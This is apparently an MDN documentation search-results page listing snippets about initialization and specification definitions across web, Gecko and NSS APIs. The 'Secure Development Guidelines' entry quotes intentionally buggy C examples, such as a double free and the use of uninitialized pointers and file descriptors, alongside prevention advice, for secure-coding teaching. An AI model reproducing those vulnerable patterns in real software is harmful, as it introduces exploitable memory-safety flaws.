initializing a variable once you've declared a variable, you can initialize it with a value.
...again, you can return your variable values by simply typing their name into the console — try these again: myname; myage; you can declare and initialize a variable at the same time, like this: let mydog = 'rover'; this is probably what you'll do most of the time, as it is quicker than doing the two actions on two separate lines.
... for a start, if you write a multiline javascript program that declares and initializes a variable, you can actually declare a variable with var after you initialize it and it will still work.
...And 3 more matches
React interactivity: Events and state - Learn web development
usestate() creates a piece of state for a component, and its only parameter determines the initial value of that state.
... we are setting the initial name value as "use hooks!".
... <input type="text" id="new-todo-input" classname="input input__lg" name="text" autocomplete="off" value={name} /> change "use hooks!" to an empty string once you're done; this is what we want for our initial state.
...And 3 more matches
Deployment and next steps - Learn web development
follow the steps listed under the push an existing folder heading: cd your_root_directory # go into your project's root directory git init git remote add origin https://gitlab.com/[your-user]/mdn-svelte-todo.git git add .
... git commit -m "initial commit" git push -u origin master note: you could use the git protocol instead of https, which is faster and saves you from typing your username and password every time you access your origin repo.
... with these instructions we initialize a local git repository, then set our remote origin (where we will push our code to) as our repo on gitlab.
...And 3 more matches
Roll your own browser: An embedding how-to
what initializations do i have to do?
... somewhere during the start of your application, you must initialize xpcom.
... other initialization must be done to start up event queues and load some string bundles.
...And 3 more matches
Localization content best practices
for example, suppose this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1.
...ideally, all strings landing in code should originate from approved ux wireframes, any copy review should be part of the initial stage of creating these wireframes.
...the most obvious impact is that the definite article which in english is always the can either be der, die or das.
...And 3 more matches
PRCallOnceType
structure for tracking initialization.
... syntax #include <prinit.h> typedef struct prcalloncetype { printn initialized; print32 inprogress; prstatus status; } prcalloncetype; fields the structure has these fields: initialized if not zero, the initialization process has been completed.
... inprogress if not zero, the initialization process is currently being executed.
...And 3 more matches
PR_CallOnce
ensures that subsystem initialization occurs only once.
...initially (before any threading issues exist), the object must be initialized to all zeros.
... func a pointer to the function the calling client has designed to perform the subsystem initialization.
...And 3 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
if your token is read/write and has only one session, nss will open that one initial session read/write.
...that is, no token init, no key gens, no data puts, no cert puts, etc.?
...(it goes to sso mode only if your token identifies itself as ckf_login_required, but not ckf_user_initialized).
...And 3 more matches
NSS_3.12.3_release_notes.html
nss_strict_nofork string ("1", "disabled", or any other non-empty value) it is an error to try to use a pkcs#11 crypto module in a process before it has been initialized in that process, even if the module was initialized in the parent process.
... bug 464406: fix signtool regressions bug 465270: uninitialised value in devutil.c::create_object() bug 465273: dead assignment in devutil.c::nssslotarray_clone() bug 465926: during import of pkcs #12 files bug 466180: ssl_configmpserversidcache with default parameters fails on {net bug 466194: cert_decodetruststring should take a const char * input trusts string.
... bug 466736: incorrect use of nss_use_64 in lib/libpkix/pkix_pl_nss/system/pkix_pl_object.c bug 466745: random number generator fails on windows ce bug 467298: sql db code uses local cache on local file system bug 468279: softoken crash importing email cert into newly upgraded db bug 468532: trusted ca trust flags not being honored in cert_verifycert bug 469583: coverity: uninitialized variable used in sec_pkcs5createalgorithmid bug 469944: when built with microsoft compilers bug 470351: crlutil build fails on windows because it calls undeclared isatty bug 471539: stop honoring digital signatures in certificates and crls based on weak hashes bug 471665: nss reports incorrect sizes for (aes) symmetric keys bug 471715: add cert to nssckbi to override rogue md5-collision ca ...
...And 3 more matches
JSAutoByteString
str jsstring * a pointer to jsstring to get initial content by calling js_encodestring(cx, str).
... methods method description void initbytes(char *bytes) take ownership of the given byte array.
...you should call this before calling encode* methods or initbytes method if a string is already owned, otherwise the string will never be freed.
...And 3 more matches
JS_DefineFunctions
syntax bool js_definefunctions(jscontext *cx, js::handle<jsobject*> obj, const jsfunctionspec *fs, propertydefinitionbehavior behavior = defineallproperties); in spidermonkey versions prior to spidermonkey 24, fs was not const.
... behavior propertydefinitionbehavior see below.
... added in spidermonkey 38 enum propertydefinitionbehavior { defineallproperties, onlydefinelateproperties, dontdefinelateproperties }; name description defineallproperties define all properties regardless of their flags.
...And 3 more matches
JS_NewRuntime
initializes the javascript runtime.
...added in spidermonkey 31 description js_newruntime initializes the javascript runtime environment.
... call js_newruntime before making any other api calls except js_init.
...And 3 more matches
Web Replay
this feature has had little testing or polishing and there is not yet a good definition of 'reasonably similar'.
... recording/replaying process extensions during initialization the child process spawns a thread that does not participate in the recording — any ipc or other system calls it performs are live, even when replaying.
... snapshots late in process initialization the first snapshot is taken, which is simply a copy of the stacks/registers for each thread.
...And 3 more matches
Secure Development Guidelines
> 1) printf("%s", argv[1]); } double free example: void* ptr = malloc(1024); if (error) { free(ptr); } free(ptr); double free: prevention set a pointer to null when it’s freed valgrind or malloc debugging can help detect those bugs use after free accessing data after a free() or delete can lead to undefined behavior some debug tools might be able catch some cases un-initialized data example: int main() { char *uninitialized_ptr; printf("0x%08x\r\n", uninitialized_ptr); return 0; } $ ./test 0x8fe0103 un-initialized data: prevention initialize your variables!
...ce counter use a hard limit constructor/destructor issues if a constructor fails the destructor never gets called this can lead to memory leaks constructor/destructor issues example class foo { private: char *ptr; public: foo() {} ~foo() { if (ptr) free(ptr); } }; constructor/destructor issues: prevention initialize the data members of an object in the constructor writing secure code: miscellaneous file i/o a lot can go wrong because a lot can be done with file input and output filenames permissions file handles and descriptors file i/o: filename divided in directories, subdirectories, and the file itself ‘/’ is separator; in windows ‘\’ would work too int openfile...
...return values often causes problems return value not handled certain cases not handled or interpreted incorrectly double meaning malloc() can return a pointer or null, but null by itself is a valid address checking return values int main() { int fds[2]; pipe(fds); write(fds[0], "data", 4); } the pipe() return value is not checked if pipe() fails, fds is not initialized write to un-initialized file descriptor checking return values check all return values—no matter how unlikely the api failure for example: close() can fail and leak file descriptor setuid() can fail and privileges don’t get dropped snprintf() can fail and result in return value -1 tmp = realloc(tmp, size) — realloc could fail and leak tmp writing secure c...
...And 3 more matches
History Service Design
view the service interface definition: nsinavhistoryservice.idl.
... places core history service (nsinavhistoryservice.idl) is the core of places, every other places service depends on it to correctly work, so it gets always initialized at application startup.
... actual tasks executed by this service include: database creation, maintenance and initialization: all services rely on a common shared database called places.sqlite.
...And 3 more matches
Using the Places history service
if database initialization completes correctly a "places-init-complete" topic is notified, at this point is possible to look for database status: var databasestatus = historyservice.databasestatus; switch (databasestatus) { case historyservice.database_status_ok: // database did already exist and has been correctly initialized.
... break; case historyservice.database_status_create: // database did not exist, a new one has just been created and initialized.
... break; case historyservice.database_status_corrupt: // database was corrupt, has been moved to a .corrupt file and a new one has been created and initialized.
...And 3 more matches
Mozilla internal string guide
this is useful when initially requesting best-case buffer size without yet knowing the true size need.
... // call init(const char16_t*) - bad signature, will need to do runtime length calculation inside init(l"start value"); // bad - l"..." is not portable!
... init(ns_convertasciitoutf16("start value").get()); // bad - runtime ascii->utf-16 conversion!
...And 3 more matches
nsIAppStartup
rtup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.9.1 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete since gecko 1.9.1 void enterlastwindowclosingsurvivalarea(); void exitlastwindowclosingsurvivalarea(); void getstartupinfo(); void hidesplashscreen(); obsolete since gecko 1.9.1 void initialize(in nsisupports nativeappsupportorsplashscreen); obsolete since gecko 1.9.1 void quit(in pruint32 amode); void restartinsafemode(in pruint32 aquitmode); void run(); attributes attribute type description interrupted boolean true if the startup process was interrupted by an interactive prompt.
... createstartupstate() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) creates the initial state of the application by launching tasks specfied by "general.startup.*" prefs.
... boolean createstartupstate( in long awindowwidth, in long awindowheight ); parameters awindowwidth the width to make the initial window(s) opened.
...And 3 more matches
nsIJumpListBuilder
callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild().
...a list of these items is returned by a call to initlistbuild().
...method overview void abortlistbuild(); boolean addlisttobuild(in short acattype, in nsiarray items optional, in astring catname optional); boolean commitlistbuild(); boolean deleteactivelist(); boolean initlistbuild(in nsimutablearray removeditems); attributes attribute type description available short indicates whether jump list taskbar features are supported by the current host.
...And 3 more matches
nsIServerSocket
to create an instance, use: var serversocket = components.classes["@mozilla.org/network/server-socket;1"] .createinstance(components.interfaces.nsiserversocket); method overview void init(in long aport, in boolean aloopbackonly, in long abacklog); void initwithaddress([const] in prnetaddrptr aaddr, in long abacklog);native code only!
... init() initializes a server socket.
... void init( in long aport, in boolean aloopbackonly, in long abacklog ); parameters aport the port of the server socket.
...And 3 more matches
nsIZipReader
getinputstream(in autf8string zipentry); nsiinputstream getinputstream(in string zipentry); obsolete since gecko 10 nsiinputstream getinputstreamwithspec(in autf8string ajarspec, in autf8string zipentry); nsiinputstream getinputstreamwithspec(in autf8string ajarspec, in string zipentry); obsolete since gecko 10 boolean hasentry(in autf8string zipentry); void init(in nsifile zipfile); obsolete since gecko 1.9 void open(in nsifile zipfile); void openinner(in nsizipreader zipreader, in autf8string zipentry); void openinner(in nsizipreader zipreader, in string zipentry); obsolete since gecko 10 void test(in autf8string aentryname); void test(in string aentryname); obsolete since gecko 10 attributes attrib...
...ute type description file nsifile the file that represents the zip with which this zip reader was initialized.
... init() obsolete since gecko 1.9 (firefox 3) initializes a zip reader after construction.
...And 3 more matches
Add to iPhoto
the core foundation api is implemented by the corefoundation object, which consists of two methods to initialize and shut down the library, a reference to the library, and all the types and methods declared to support core foundation.
... initializing core foundation the init() method, which sets everything up, looks like this: init: function() { this.lib = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); // declaring all the apis goes here } shutting down core foundation while the core foundation system framework itself doesn't need to be shut down, we do need to close the library we opened using the js-ctypes api; that's where the shutdown() method comes in: shutdown: function() { this.lib.close(); } select api declarations let's take a look at a few of the key apis we declare for core foundation, to see how it's done.
... in c, the fsref is declared thusly: struct fsref { uint8 hidden[80]; /* private to file manager; •• need symbolic constant */ }; typedef struct fsref fsref; we declare it using js-ctypes like this: this.struct_fsref = new ctypes.structtype("fsref", [ {"hidden": ctypes.char.array(80)}]); the carbon library init() and shutdown() routines are otherwise similar to how we do things for core foundation.
...And 3 more matches
AnalyserNode.AnalyserNode() - Web APIs
options optional fftsize: the desired initial size of the fft for frequency-domain analysis.
... maxdecibels: the desired initial maximum power in db for fft analysis.
... mindecibels: the desired initial minimum power in db for fft analysis.
...And 3 more matches
AudioWorkletProcessor() - Web APIs
available properties are as follows: numberofinputs optional the value to initialize the numberofinputs property to.
... numberofoutputs optional the value to initialize the numberofoutputs property to.
... parameterdata optional an object containing the initial values of custom audioparam objects on this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
...And 3 more matches
CDATASection - Web APIs
specifications specification status comment domthe definition of 'cdatasection' in that specification.
... living standard re-added in issue #295 due to web breakage dom4the definition of 'cdatasection' in that specification.
... obsolete removed in favour of the more generic text interface document object model (dom) level 3 core specificationthe definition of 'cdatasection' in that specification.
...And 3 more matches
Using channel messaging - Web APIs
ment.queryselector('iframe'); var channel = new messagechannel(); var port1 = channel.port1; // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for button clicks button.addeventlistener('click', onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('init', '*', [channel.port2]); } // post a message on port1 when the button is clicked function onclick(e) { e.preventdefault(); port1.postmessage(input.value); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; input.value = ''; } we start off by creating a new message channel by using the messagechannel() constructor.
...for this initial port transfering this message could be an empty string but in this example it is set to 'init'.
... receiving the port and message in the iframe over in the iframe, we have the following javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.textcontent = e.data; list.appendchild(listitem); port2.postmessage('message received by iframe...
...And 3 more matches
CustomEvent() - Web APIs
syntax event = new customevent(typearg, customeventinit); parameters typearg a domstring representing the name of the event.
... customeventinit optional a customeventinit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event.
... the customeventinit dictionary also accepts fields from the eventinit dictionary.
...And 3 more matches
DOMMatrixReadOnly - Web APIs
is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix.
... throws an invalidstateerror exception if any of the elements in the matrix are non-finite (even if, in the case of a 2d matrix, the non-finite values are in elements not used by the 2d matrix representation).
... frommatrix() creates a new mutable dommatrix object given an existing matrix or a dommatrixinit dictionary which provides the values for its properties.
...And 3 more matches
DocumentFragment - Web APIs
javascript var list = document.queryselector('#list') var fruits = ['apple', 'orange', 'banana', 'melon'] var fragment = new documentfragment() fruits.foreach(function (fruit) { var li = document.createelement('li') li.innerhtml = fruit fragment.appendchild(li) }) list.appendchild(fragment) result specifications specification status comment domthe definition of 'documentfragment' in that specification.
... selectors api level 1the definition of 'documentfragment' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'documentfragment' in that specification.
...And 3 more matches
DragEvent() - Web APIs
syntax event = new dragevent(type, drageventinit); arguments type is a domstring representing the name of the event (see dragevent event types).
... drageventinitoptional is a drageventinit dictionary, having the following fields: "datatransfer", optional and defaults to "null".
... the drageventinit dictionary inherits from the mouseeventinit dictionary.
...And 3 more matches
Element.animate() - Web APIs
WebAPIElementanimate
defaults to 1, and can also take a value of infinity to make it repeat for as long as the element exists.
... examples in the demo down the rabbit hole (with the web animation api), we use the convenient animate() method to immediately create and play an animation on the #tunnel element to make it flow upwards, infinitely.
... document.getelementbyid("tunnel").animate([ // keyframes { transform: 'translatey(0px)' }, { transform: 'translatey(-300px)' } ], { // timing options duration: 1000, iterations: infinity }); implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e.
...And 3 more matches
HTMLBaseElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbaseelement' in that specification.
... living standard html 5.1the definition of 'htmlbaseelement' in that specification.
... recommendation no change from html5 html5the definition of 'htmlbaseelement' in that specification.
...And 3 more matches
HTMLBodyElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbodyelement' in that specification.
... html 5.1the definition of 'htmlbodyelement' in that specification.
... recommendation html5the definition of 'htmlbodyelement' in that specification.
...And 3 more matches
HTMLDListElement - Web APIs
the htmldlistelement interface provides special properties (beyond those of the regular htmlelement interface it also has available to it by inheritance) for manipulating definition list (<dl>) elements.
... specifications specification status comment html living standardthe definition of 'htmldlistelement' in that specification.
... living standard html5the definition of 'htmldlistelement' in that specification.
...And 3 more matches
HTMLElement - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'htmlelement' in that specification.
... html living standardthe definition of 'htmlelement' in that specification.
... html5the definition of 'htmlelement' in that specification.
...And 3 more matches
HTMLFieldSetElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlfieldsetelement' in that specification.
... living standard html 5.1the definition of 'htmlfieldsetelement' in that specification.
... recommendation html5the definition of 'htmlfieldsetelement' in that specification.
...And 3 more matches
HTMLHeadElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlheadelement' in that specification.
... living standard html 5.1the definition of 'htmlheadelement' in that specification.
... html5the definition of 'htmlheadelement' in that specification.
...And 3 more matches
HTMLImageElement - Web APIs
'image1.png'; img1.alt = 'alt'; document.body.appendchild(img1); var img2 = document.createelement('img'); // use dom htmlimageelement img2.src = 'image2.jpg'; img2.alt = 'alt text'; document.body.appendchild(img2); // using first image in the document alert(document.images[0].src); specifications specification status comment css object model (cssom) view modulethe definition of 'extensions to htmlimageelement' in that specification.
... html living standardthe definition of 'htmlimageelement' in that specification.
... html5the definition of 'htmlimageelement' in that specification.
...And 3 more matches
HTMLInputElement - Web APIs
search fired when a search is initiated on an <input> of type="search".
... specifications specification status comment html living standardthe definition of 'htmlinputelement' in that specification.
... living standard html5the definition of 'htmlinputelement' in that specification.
...And 3 more matches
HTMLLegendElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmllegendelement' in that specification.
... living standard html 5.1the definition of 'htmllegendelement' in that specification.
... recommendation html5the definition of 'htmllegendelement' in that specification.
...And 3 more matches
HTMLLinkElement - Web APIs
html living standardthe definition of 'htmllinkelement' in that specification.
... html 5.1the definition of 'htmllinkelement' in that specification.
... recommendation html5the definition of 'htmllinkelement' in that specification.
...And 3 more matches
HTMLMediaElement.load() - Web APIs
the htmlmediaelement method load() resets the media element to its initial state and begins the process of selecting a media source and loading the media in preparation for playback to begin at the beginning.
... if the element has already been initialized with media, the emptied event is sent.
... var mediaelem = document.queryselector("video"); mediaelem.load(); specifications specification status comment html living standardthe definition of 'htmlmediaelement.load()' in that specification.
...And 3 more matches
HTMLMediaElement.play() - Web APIs
usage notes although the term "autoplay" is usually thought of as referring to pages that immediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play().
... if the user agent is configured not to allow automatic or script-initiated playback of media, calling play() will cause the returned promise to be immediately rejected with a notallowederror.
... specifications specification status comment html living standardthe definition of 'play()' in that specification.
...And 3 more matches
HTMLOutputElement - Web APIs
htmloutputelement.defaultvalue a domstring representing the default value of the element, initially the empty string.
... default mode initially, the element is in default mode, and so the contents of the element represent both the value of the element and its default value.
... specifications specification status comment html living standardthe definition of 'htmloutputelement' in that specification.
...And 3 more matches
HTMLScriptElement - Web APIs
derror; if (onloadfunction) { newscript.onload = onloadfunction; } document.head.appendchild(newscript); newscript.src = url; } sample usage: affixscripttohead("myscript1.js"); affixscripttohead("myscript2.js", function () { alert("the script \"myscript2.js\" has been correctly loaded."); }); specifications specification status comment html living standardthe definition of 'htmlscriptelement' in that specification.
... living standard html 5.1the definition of 'htmlscriptelement' in that specification.
... recommendation html5the definition of 'htmlscriptelement' in that specification.
...And 3 more matches
HTMLStyleElement.media - Web APIs
heet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status comment html living standardthe definition of 'htmlstyleelement' in that specification.
... living standard html 5.1the definition of 'htmlstyleelement' in that specification.
... recommendation html5the definition of 'htmlstyleelement' in that specification.
...And 3 more matches
HTMLStyleElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlstyleelement' in that specification.
... living standard html 5.1the definition of 'htmlstyleelement' in that specification.
... recommendation html5the definition of 'htmlstyleelement' in that specification.
...And 3 more matches
HTMLTextAreaElement - Web APIs
n to the `onkeypress` event and specify that our textarea does not accept pasting: <form> <p>textarea with fixed number of characters per line:<br /> <textarea cols="50" rows="10" onkeypress="return checkrows(this, event);" onpaste="return false;"></textarea> </p> </form> specifications specification status comment html living standardthe definition of 'htmltextareaelement' in that specification.
... living standard html5the definition of 'htmltextareaelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmltextareaelement' in that specification.
...And 3 more matches
HTMLTitleElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltitleelement' in that specification.
... living standard html 5.1the definition of 'htmltitleelement' in that specification.
... recommendation no change from html5 html5the definition of 'htmltitleelement' in that specification.
...And 3 more matches
Capabilities, constraints, and settings - Web APIs
for example: let constraints = { width: 1920, height: 1080, aspectratio: 1.777777778 }; mytrack.applyconstraints(constraints); in this case, the constraints indicate that any values are fine for nearly all properties, but that a standard high definition (hd) video size is desired, with the standard 16:9 aspect ratio.
...an existing mediastreamtrack on the fly, by calling the track's applyconstraints() method, passing into it an object representing the constraints you wish to apply to the track: videotrack.applyconstraints({ width: 1920, height: 1080 }); in this snippet, the video track referenced by videotrack is updated so that its resolution as closely as possible matches 1920x1080 pixels (1080p high definition).
...these strings are presented in editable <textarea>s, but this is the initial configuration of the stream.
...And 3 more matches
MutationObserver.observe() - Web APIs
options a mutationobserverinit object providing options that describe which dom mutations should be reported to mutationobserver’s callback.
... (for example, if mutationobserverinit.childlist, mutationobserverinit.attributes, and mutationobserverinit.characterdata are all false.) the value of options.attributes is false (indicating that attribute changes are not to be monitored), but attributeoldvalue is true and/or attributefilter is present.
... the characterdataoldvalue option is true but mutationobserverinit.characterdata is false (indicating that character changes are not to be monitored).
...And 3 more matches
Node - Web APIs
WebAPINode
ches.push(node) } } }) return matches } for example, to find text nodes that contain typos: const typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"] const pattern = new regexp("\\b(" + typos.join("|") + ")\\b", "gi") const mistakes = grep(document.body, pattern) console.log(mistakes) specifications specification status comment domthe definition of 'node' in that specification.
... living standard added the following methods: getrootnode() dom4the definition of 'node' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'node' in that specification.
...And 3 more matches
Using Pointer Events - Web APIs
definitions surface a touch-sensitive surface.
...</canvas> <br> <button onclick="startup()">initialize</button> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads, the startup() function shown below should be called by our <body> element's onload attribute (but in the example we use a button to trigger it, due to limitations of the mdn live example system).
... function startup() { var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("pointerdown", handlestart, false); el.addeventlistener("pointerup", handleend, false); el.addeventlistener("pointercancel", handlecancel, false); el.addeventlistener("pointermove", handlemove, false); log("initialized."); } this simply sets up all the event listeners for our <canvas> element so we can handle the touch events as they occur.
...And 3 more matches
RTCConfiguration - Web APIs
if the remote endpoint is bundle-aware, all media tracks and data channels are bundled onto a single transport at the completion of negotiation, regardless of policy used, and any superfluous transports that were created initially are closed at that point.
... constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of content added: audio, video, and data channels.
... "max-compat" the ice agent initially creates one rtcdtlstransport per media track and a separate one for data channels.
...And 3 more matches
RTCDataChannelEvent() - Web APIs
syntax var event = new rtcdatachannelevent(type, rtcdatachanneleventinit); parameters type a domstring which specifies the name of the event.
... rtcdatachanneleventinit a rtcdatachanneleventinit dictionary, which has following fields: "channel" of type rtcdatachannel, representing the data channel being concerned by the event.
... "bubbles", optional, inherited from eventinit.
...And 3 more matches
RTCIceCandidate - Web APIs
webrtc then uses that candidate's details to initiate the connection.
... constructor rtcicecandidate() creates an rtcicecandidate object to represent a single ice candidate, optionally configured based on an object based on the rtcicecandidateinit dictionary.
... note: for backward compatibility, the constructor also accepts as input a string containing the value of the candidate property instead of a rtcicecandidateinit object, since the candidate includes all of the information that rtcicecandidateinit does and more.
...And 3 more matches
SVGTransformList - Web APIs
note: starting in gecko 9.0,the svgtransformlist dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svgtransform initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfrommatrix(i...
... initialize(in svgtransform newitem) svgtransform clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
... createsvgtransformfrommatrix(in svgmatrix) svgtransform creates an svgtransform object which is initialized to transform of type svg_transform_matrix and whose values are the given matrix.
...And 3 more matches
ServiceWorkerRegistration - Web APIs
this is initially set to null.
...this is initially set to null.
...this is initially set to null.
...And 3 more matches
TouchEvent - Web APIs
initial value: 0.0 touchevent.scale read only distance between two digits since the event's beginning.
... expressed as a floating-point multiple of the initial distance between the digits at the beginning of the event.
...initial value: 1.0 touch event types there are several types of event that can be fired to indicate that touch-related changes have occurred.
...And 3 more matches
UIEvent - Web APIs
WebAPIUIEvent
although the uievent.inituievent() method is kept for backward compatibility, you should create a uievent object using the uievent() constructor.
... uievent.inituievent() initializes a uievent object.
... ui events working draft extend dom3 document object model (dom) level 3 events specificationthe definition of 'uievent' in that specification.
...And 3 more matches
WebGLRenderingContext.bindBuffer() - Web APIs
gl.getparameter(gl.array_buffer_binding); gl.getparameter(gl.element_array_buffer_binding); specifications specification status comment webgl 1.0the definition of 'bindbuffer' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glbindbuffer' in that specification.
...And 3 more matches
WebGLRenderingContext.bindFramebuffer() - Web APIs
gl.getparameter(gl.framebuffer_binding); specifications specification status comment webgl 1.0the definition of 'bindframebuffer' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glbindframebuffer' in that specification.
...And 3 more matches
WebGLRenderingContext.bindTexture() - Web APIs
gl.getparameter(gl.texture_binding_2d); specifications specification status comment webgl 1.0the definition of 'bindtexture' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glbindtexture' in that specification.
...And 3 more matches
WebGLRenderingContext.bufferData() - Web APIs
the webglrenderingcontext.bufferdata() method of the webgl api initializes and creates the buffer object's data store.
...if null, a data store is still created, but the content is uninitialized and undefined.
... var dataarray = new float32array([1, 2, 3, 4]); var sizeinbytes = dataarray.length * dataarray.bytes_per_element; specifications specification status comment webgl 1.0the definition of 'bufferdata' in that specification.
...And 3 more matches
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
gl.checkframebufferstatus(gl.framebuffer); specifications specification status comment webgl 1.0the definition of 'checkframebufferstatus' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glcheckframebufferstatus' in that specification.
...And 3 more matches
WebGLRenderingContext.getBufferParameter() - Web APIs
examples gl.getbufferparameter(gl.array_buffer, gl.buffer_size); specifications specification status comment webgl 1.0the definition of 'getbufferparameter' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgetbufferparameteriv' in that specification.
...And 3 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
examples gl.getframebufferattachmentparameter(gl.framebuffer, gl.color_attachment0, gl.framebuffer_attachment_object_type); specifications specification status comment webgl 1.0the definition of 'getframebufferattachmentparameter' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgetframebufferattachmentparameteriv' in that specification.
...And 3 more matches
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
examples gl.getrenderbufferparameter(gl.renderbuffer, gl.renderbuffer_width); specifications specification status comment webgl 1.0the definition of 'getrenderbufferparameter' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgetrenderbufferparameteriv' in that specification.
...And 3 more matches
WebGLRenderingContext.getTexParameter() - Web APIs
examples gl.gettexparameter(gl.texture_2d, gl.texture_mag_filter); specifications specification status comment webgl 1.0the definition of 'gettexparameter' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgettexparameter' in that specification.
...And 3 more matches
WebGLRenderingContext.getUniform() - Web APIs
32array (with 6 elements) mat3x4 float32array (with 12 elements) mat4x2 float32array (with 8 elements) mat4x3 float32array (with 12 elements) any sampler type glint examples var loc = gl.getuniformlocation(program, 'u_foobar'); gl.getuniform(program, loc); specifications specification status comment webgl 1.0the definition of 'getuniform' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgetuniform' in that specification.
...And 3 more matches
WebGLRenderingContext.getVertexAttrib() - Web APIs
examples gl.getvertexattrib(0, gl.vertex_attrib_array_buffer_binding); specifications specification status comment webgl 1.0the definition of 'getvertexattrib' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgetvertexattrib' in that specification.
...And 3 more matches
WebGLRenderingContext.isEnabled() - Web APIs
examples gl.isenabled(gl.stencil_test); // false to activate or deactivate a specific capability, use the webglrenderingcontext.enable() and webglrenderingcontext.disable() methods: gl.enable(gl.stencil_test); gl.disable(gl.stencil_test); specifications specification status comment webgl 1.0the definition of 'isenabled' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glisenabled' in that specification.
...And 3 more matches
WebGLRenderingContext.texImage2D() - Web APIs
examples gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.unsigned_byte, image); specifications specification status comment webgl 1.0the definition of 'teximage2d' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glteximage2d' in that specification.
...And 3 more matches
WebGLRenderingContext.texParameter[fi]() - Web APIs
examples gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear_mipmap_nearest); specifications specification status comment webgl 1.0the definition of 'texparameter[fi]' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'gltexparameter' in that specification.
...And 3 more matches
WebGLRenderingContext.texSubImage2D() - Web APIs
examples gl.texsubimage2d(gl.texture_2d, 0, 0, 0, gl.rgba, gl.unsigned_byte, image); specifications specification status comment webgl 1.0the definition of 'texsubimage2d' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'gltexsubimage2d' in that specification.
...And 3 more matches
Adding 2D content to a WebGL context - Web APIs
const fssource = ` void main() { gl_fragcolor = vec4(1.0, 1.0, 1.0, 1.0); } `; initializing the shaders now that we've defined the two shaders we need to pass them to webgl, compile them, and link them together.
... // // initialize a shader program, so webgl knows how to draw our data // function initshaderprogram(gl, vssource, fssource) { const vertexshader = loadshader(gl, gl.vertex_shader, vssource); const fragmentshader = loadshader(gl, gl.fragment_shader, fssource); // create the shader program const shaderprogram = gl.createprogram(); gl.attachshader(shaderprogram, vertexshader); gl.attachshader(shaderprogram, fragmentshader); gl.linkprogram(shaderprogram); // if creating the shader program failed, alert if (!gl.getprogramparameter(shaderpr...
...ogram, gl.link_status)) { alert('unable to initialize the shader program: ' + gl.getprograminfolog(shaderprogram)); return null; } return shaderprogram; } // // creates a shader of the given type, uploads the source and // compiles it.
...And 3 more matches
WebRTC connectivity - Web APIs
peer a who will be the initiator of the connection, will create an offer.
... srflx a server reflexive candidate is generated by a stun/turn server; the connection's initiator requests a candidate from the stun server, which forwards the request through the remote peer's nat, which creates and returns a candidate whose ip address is local to the remote peer.
